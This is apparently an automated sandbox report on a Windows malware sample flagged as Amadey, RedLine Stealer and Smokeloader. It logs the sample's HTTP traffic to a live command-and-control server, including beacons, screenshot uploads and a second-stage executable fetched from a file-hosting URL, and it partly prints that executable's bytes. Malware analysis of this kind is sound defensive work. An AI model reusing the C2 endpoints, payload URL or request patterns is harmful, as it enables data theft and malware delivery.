Oct 16, 2024 19:23:56.217390060 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:56.218476057 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:56.633269072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.9	49809	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:55.491008043 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:55.491041899 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:55.491084099 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:55.491097927 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:55.491116047 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:55.491278887 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:55.491297960 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:55.491308928 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:55.491333961 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:55.491352081 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:55.491369963 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:57.181643963 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.9	49810	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:56.753902912 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.9	49811	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:57.394359112 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:57.394359112 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:57.394359112 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:57.394406080 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:57.394406080 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:57.394406080 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:57.394505978 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:57.394558907 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:57.394558907 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:57.394610882 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:57.394610882 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49815	104.21.21.16	443	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 17:24:01 UTC	79	OUT	GET /dl/14438655/stub4141_2024-10-16_10-48.exe HTTP/1.1 Host: tmpfiles.org
2024-10-16 17:24:01 UTC	1160	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 17:24:01 GMT Content-Type: application/x-dosexec Content-Length: 621568 Connection: close Content-Disposition: inline; filename=stub4141_2024-10-16_10-48.exe Cache-Control: no-cache, private CF-Cache-Status: BYPASS Set-Cookie: XSRF-TOKEN=eyJpdiI6Im4vaWpoYVRqV3IxRDZTK3hrZnhlVmc9PSIsInZhbHVlIjoiVEJET1ZhbkVTTHRKWDdXeVIyNUJlcVFQeDVoOGdlVU1uSUU5MEU2REN6WUpOWHBLVEY3WW9UVjFNck8wcW9uZVBlVVZQOWR5VDFMSDBPRmJzV1hNemRsUDBKVUovU20zMXFocEhqd2U1bHlUa0xUQi9hODFVMjdKOS96N0ZRR0siLCJtYWMiOiJiYmVlNGIxNjA1ZmY0MzlmM2M2OWJiZWEwNTdkMTQ0OTY4NzRjOGI2OTFkMTEyYTUzNjE5NWZiODhiMGY2MzgwIn0%3D; expires=Wed, 16-Oct-2024 19:24:01 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: tmpfiles_session=eyJpdiI6InFaeUc2bWRMNW9SRTBFeDVPTjhxNGc9PSIsInZhbHVlIjoiZHRLeHd3aFJVWXlCQmlGMzR1SkdlZTQ1UFg2K1NYdi9IMlBZUTFQckY0dEdGY3RLNXlWT1I1TEZWaEs1SnlOWmp1aTBqejdEQXRERHRldUNUREJyTTFIejc1K0U3aThvMytWa254QSt6TlA2elVsM2pmeHJEMFYxeVArQTJEeXoiLCJtYWMiOiI0OGRjZThiNjU4YWJiODU0NjQxZjE0NDUwYWExMWIwMjIwMWQ2Zjg2MDExNGRjZTVhMmY2ZWQ3YmUxMTNkYmFmIn0%3D; expires=Wed, 16-Oct-2024 19:24:01 GMT; Max-Age=7200; path=/; httponly; samesite=lax Accept-Ranges: bytes
2024-10-16 17:24:01 UTC	401	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 64 76 56 30 42 75 52 6f 36 48 74 39 4e 55 55 6c 58 37 59 46 38 7a 39 33 4f 50 4f 45 42 65 74 63 45 47 68 4f 4f 6f 4a 4d 64 6b 4b 79 39 69 49 25 32 46 32 52 4f 4a 6c 4a 73 59 61 50 75 54 4e 66 51 72 78 25 32 46 65 44 30 76 4f 56 6b 45 4b 39 4b 46 56 52 65 6f 7a 38 79 4a 5a 4e 64 32 53 43 32 6b 6e 65 52 61 75 63 63 39 42 4b 74 71 66 78 52 65 4f 33 66 4d 77 7a 32 30 6e 4c 33 4c 46 70 46 77 30 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dvV0BuRo6Ht9NUUlX7YF8z93OPOEBetcEGhOOoJMdkKy9iI%2F2ROJlJsYaPuTNfQrx%2FeD0vOVkEK9KFVReoz8yJZNd2SC2kneRaucc9BKtqfxReO3fMwz20nL3LFpFw0%3D"}],"group":"cf-nel","max_age":604800}NEL
2024-10-16 17:24:01 UTC	1177	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 82 fa 94 19 e3 94 c7 19 e3 94 c7 19 e3 94 c7 07 b1 01 c7 04 e3 94 c7 07 b1 17 c7 65 e3 94 c7 07 b1 10 c7 31 e3 94 c7 3e 25 ef c7 1c e3 94 c7 19 e3 95 c7 92 e3 94 c7 07 b1 1e c7 18 e3 94 c7 07 b1 00 c7 18 e3 94 c7 07 b1 05 c7 18 e3 94 c7 52 69 63 68 19 e3 94 c7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 69 11 0d 65 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$]e1>%RichPELie
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 75 07 00 52 75 07 00 64 75 07 00 78 75 07 00 86 75 07 00 94 75 07 00 a8 75 07 00 b8 75 07 00 c6 75 07 00 da 75 07 00 f0 75 07 00 00 76 07 00 14 76 07 00 24 76 07 00 30 76 07 00 46 76 07 00 68 72 07 00 54 72 07 00 98 74 07 00 44 72 07 00 9c 76 07 00 b8 76 07 00 d6 76 07 00 ec 76 07 00 f8 76 07 00 06 77 07 00 12 77 07 00 24 77 07 00 36 77 07 00 42 77 07 00 56 77 07 00 5e 77 07 00 6c 77 07 00 78 77 07 00 88 77 07 00 9e 77 07 00 b2 77 07 00 c6 77 07 00 d2 77 07 00 ea 77 07 00 f4 77 07 00 00 78 07 00 12 78 07 00 20 78 07 00 2c 78 07 00 36 78 07 00 4c 78 07 00 5a 78 07 00 68 78 07 00 80 78 07 00 98 78 07 00 b0 78 07 00 c0 78 07 00 cc 78 07 00 de 78 07 00 f8 78 07 00 12 79 07 00 24 79 07 00 36 79 07 00 44 79 07 00 56 79 07 00 70 79 07 00 80 79 07 00 96 79 07 00 Data Ascii: uRuduxuuuuuuuuvv$v0vFvhrTrtDrvvvvvww$w6wBwVw^wlwxwwwwwwwwxx x,x6xLxZxhxxxxxxxxy$y6yDyVypyyy
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 6c 6f 77 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 36 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 73 74 64 69 6f 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0d 0a 00 00 00 00 52 36 30 32 35 0d 0a 2d 20 70 75 72 65 20 76 69 72 74 75 61 6c 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 0d 0a 00 00 00 52 36 30 32 34 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 5f 6f 6e 65 78 69 74 2f 61 74 65 78 69 74 20 74 61 62 6c 65 0d 0a 00 00 00 00 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 63 6f 6e 73 6f 6c 65 20 64 65 76 69 63 65 0d 0a 00 00 00 00 52 36 30 31 38 0d 0a 2d 20 75 6e 65 78 70 65 63 74 Data Ascii: nough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function callR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018- unexpect
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 7c 96 02 4d 43 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 02 9b bb 40 00 3a bb 40 00 3a bb 40 00 00 00 00 00 00 00 00 00 00 00 f0 3f 7f 02 35 c2 68 21 a2 da 0f c9 3e 40 ff ff ff ff ff ff ef 7f 00 00 00 00 00 00 10 00 00 00 00 00 00 00 98 c0 00 00 00 00 00 00 98 40 00 00 00 00 00 00 f0 7f 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 c0 0b 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 93 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 2d d3 40 00 18 4a 40 00 38 d1 40 00 0d 71 40 00 62 61 64 20 65 78 Data Ascii: \|MC@:@:@?5h!>@@-@J@8@q@bad ex
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 10 00 10 00 10 00 10 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 14 00 14 00 10 00 10 00 10 00 10 00 10 00 14 00 10 00 10 00 10 00 10 00 10 00 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 Data Ascii: H
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 6f 6e 00 53 75 6e 00 00 00 00 00 00 00 00 00 00 00 f0 7f 00 00 00 00 00 00 f0 ff 00 00 00 00 00 00 e0 7f 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 7f 00 00 80 ff 00 00 c0 7f 00 00 c0 ff 00 00 00 00 00 00 00 80 ca f2 49 71 ca f2 49 f1 60 42 a2 0d 60 42 a2 8d 59 f3 f8 c2 1f 6e a5 01 59 f3 f8 c2 1f 6e a5 81 74 61 6e 00 63 6f 73 00 73 69 6e 00 6d 6f 64 66 00 00 00 00 66 6c 6f 6f 72 00 00 00 63 65 69 6c 00 00 00 00 61 74 61 6e 00 00 00 00 65 78 70 31 30 00 00 00 61 63 6f 73 00 00 00 00 61 73 69 6e 00 00 00 00 6c 6f 67 00 6c 6f 67 31 30 00 00 00 65 78 70 00 70 6f 77 00 00 00 00 b8 55 fd 9f 3f 9d 77 42 25 b1 4b ed 3d 00 00 00 00 00 00 a0 3f 00 00 00 b4 5b f5 af 3f 28 cb 36 4e ef 67 f9 3d 00 00 00 00 00 00 b0 3f 00 00 00 24 Data Ascii: onSun IqI`B`BYnYntancossinmodffloorceilatanexp10acosasinloglog10exppowU?wB%K=?[?(6Ng=?$
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 2e 3e 00 00 00 00 00 80 f8 3f 00 00 00 2c 13 06 f0 3f bf 87 66 bb b0 a6 41 3e 00 00 00 00 00 00 f9 3f 00 00 00 68 bf 2a f0 3f 76 f1 07 ba d0 f6 32 3e 00 00 00 00 00 80 f9 3f 00 00 00 24 67 4e f0 3f 52 45 5c b8 0e d0 4b 3e 00 00 00 00 00 00 fa 3f 00 00 00 c4 13 71 f0 3f 27 5e e1 08 d1 49 45 3e 00 00 00 00 00 80 fa 3f 00 00 00 44 ce 92 f0 3f 9b 9f 26 61 9e c2 48 3e 00 00 00 00 00 00 fb 3f 00 00 00 4c 9f b3 f0 3f 8b 26 4b 72 1d 51 46 3e 00 00 00 00 00 80 fb 3f 00 00 00 2c 8f d3 f0 3f dd 23 2f a4 27 e8 16 3e 00 00 00 00 00 00 fc 3f 00 00 00 d8 a5 f2 f0 3f 5d 58 cd 63 02 ff 3f 3e 00 00 00 00 00 80 fc 3f 00 00 00 00 eb 10 f1 3f 08 d0 d4 ae 7d ce 1f 3e 00 00 00 00 00 00 fd 3f 00 00 00 f8 65 2e f1 3f ef 49 1b 64 57 95 41 3e 00 00 00 00 00 80 fd 3f 00 00 00 d4 1d Data Ascii: .>?,?fA>?h*?v2>?$gN?RE\K>?q?'^IE>?D?&aH>?L?&KrQF>?,?#/'>??]Xc?>??}>?e.?IdWA>?
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 3e 00 00 00 00 00 80 0a 40 00 00 00 04 b0 7b f4 3f 34 e6 8b d6 32 47 3c 3e 00 00 00 00 00 c0 0a 40 00 00 00 4c 1b 86 f4 3f c3 82 a9 fe e1 7c 2f 3e 00 00 00 00 00 00 0b 40 00 00 00 8c 59 90 f4 3f df fb c0 73 f1 0a 40 3e 00 00 00 00 00 40 0b 40 00 00 00 e0 6b 9a f4 3f d9 f0 c3 92 d2 61 40 3e 00 00 00 00 00 80 0b 40 00 00 00 58 53 a4 f4 3f 78 28 33 fd 9b 75 38 3e 00 00 00 00 00 c0 0b 40 00 00 00 fc 10 ae f4 3f 76 c1 4f 2c 69 62 19 3e 00 00 00 00 00 00 0c 40 00 00 00 c8 a5 b7 f4 3f 1b fe 26 4c cd 92 43 3e 00 00 00 00 00 40 0c 40 00 00 00 b8 12 c1 f4 3f 99 d1 7d 18 e3 fb 4c 3e 00 00 00 00 00 80 0c 40 00 00 00 c0 58 ca f4 3f 4c 6f a2 88 8c b7 13 3e 00 00 00 00 00 c0 0c 40 00 00 00 c0 78 d3 f4 3f 2d d4 1b cf a0 99 39 3e 00 00 00 00 00 00 0d 40 00 00 00 a0 73 dc Data Ascii: >@{?42G<>@L?\|/>@Y?s@>@@k?a@>@XS?x(3u8>@?vO,ib>@?&LC>@@?}L>@X?Lo>@x?-9>@s
2024-10-16 17:24:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 60 14 40 00 00 00 f0 ad 0c f6 3f 1c 07 6a 5c 26 22 0f 3e 00 00 00 00 00 80 14 40 00 00 00 b8 58 11 f6 3f be 0c f9 31 d2 44 3e 3e 00 00 00 00 00 a0 14 40 00 00 00 a0 f5 15 f6 3f f5 23 4f 23 60 c6 49 3e 00 00 00 00 00 c0 14 40 00 00 00 e8 84 1a f6 3f 99 7d 8c 83 d7 1d 30 3e 00 00 00 00 00 e0 14 40 00 00 00 c4 06 1f f6 3f af 82 b7 46 5c 49 45 3e 00 00 00 00 00 00 15 40 00 00 00 74 7b 23 f6 3f ff a5 d7 af 04 2c 42 3e 00 00 00 00 00 20 15 40 00 00 00 30 e3 27 f6 3f 89 45 95 20 5d 81 24 3e 00 00 00 00 00 40 15 40 00 00 00 2c 3e 2c f6 3f 92 ec de 86 3f 15 35 3e 00 00 00 00 00 60 15 40 00 00 00 a0 8c 30 f6 3f bb af 69 49 71 0f 45 3e 00 00 00 00 00 80 15 40 00 00 00 c4 ce 34 f6 3f e6 68 61 f3 bb ad 3b 3e 00 00 00 00 00 a0 15 40 00 00 00 c8 04 39 f6 Data Ascii: `@?j\&">@X?1D>>@?#O#`I>@?}0>@?F\IE>@t{#?,B> @0'?E ]$>@@,>,??5>`@0?iIqE>@4?ha;>@9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49833	20.189.173.20	443	5568	C:\Windows\SysWOW64\WerFault.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 17:24:13 UTC	178	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket_Error: 0x80004004 Content-Length: 4688 Host: umwatson.events.data.microsoft.com

Target ID:	0
Start time:	13:22:16
Start date:	16/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xae0000
File size:	1'120'768 bytes
MD5 hash:	ED9393D5765529C845C623E35C1B1A34
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1880424577.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:22:37
Start date:	16/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xaa0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:22:59
Start date:	16/10/2024
Path:	C:\ProgramData\Office Manager\Application.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Office Manager\Application.exe"
Imagebase:	0xcd0000
File size:	1'120'768 bytes
MD5 hash:	ED9393D5765529C845C623E35C1B1A34
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:23:20
Start date:	16/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x1b0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:23:20
Start date:	16/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5e0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:24:03
Start date:	16/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe"
Imagebase:	0x400000
File size:	621'568 bytes
MD5 hash:	66694C008432CC28A1869FA9E7ACBE31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:24:04
Start date:	16/10/2024
Path:	C:\ProgramData\psh\lcs
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}
Imagebase:	0x400000
File size:	621'568 bytes
MD5 hash:	66694C008432CC28A1869FA9E7ACBE31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.2683597443.00000000004C8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.2687709994.0000000002010000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:24:05
Start date:	16/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
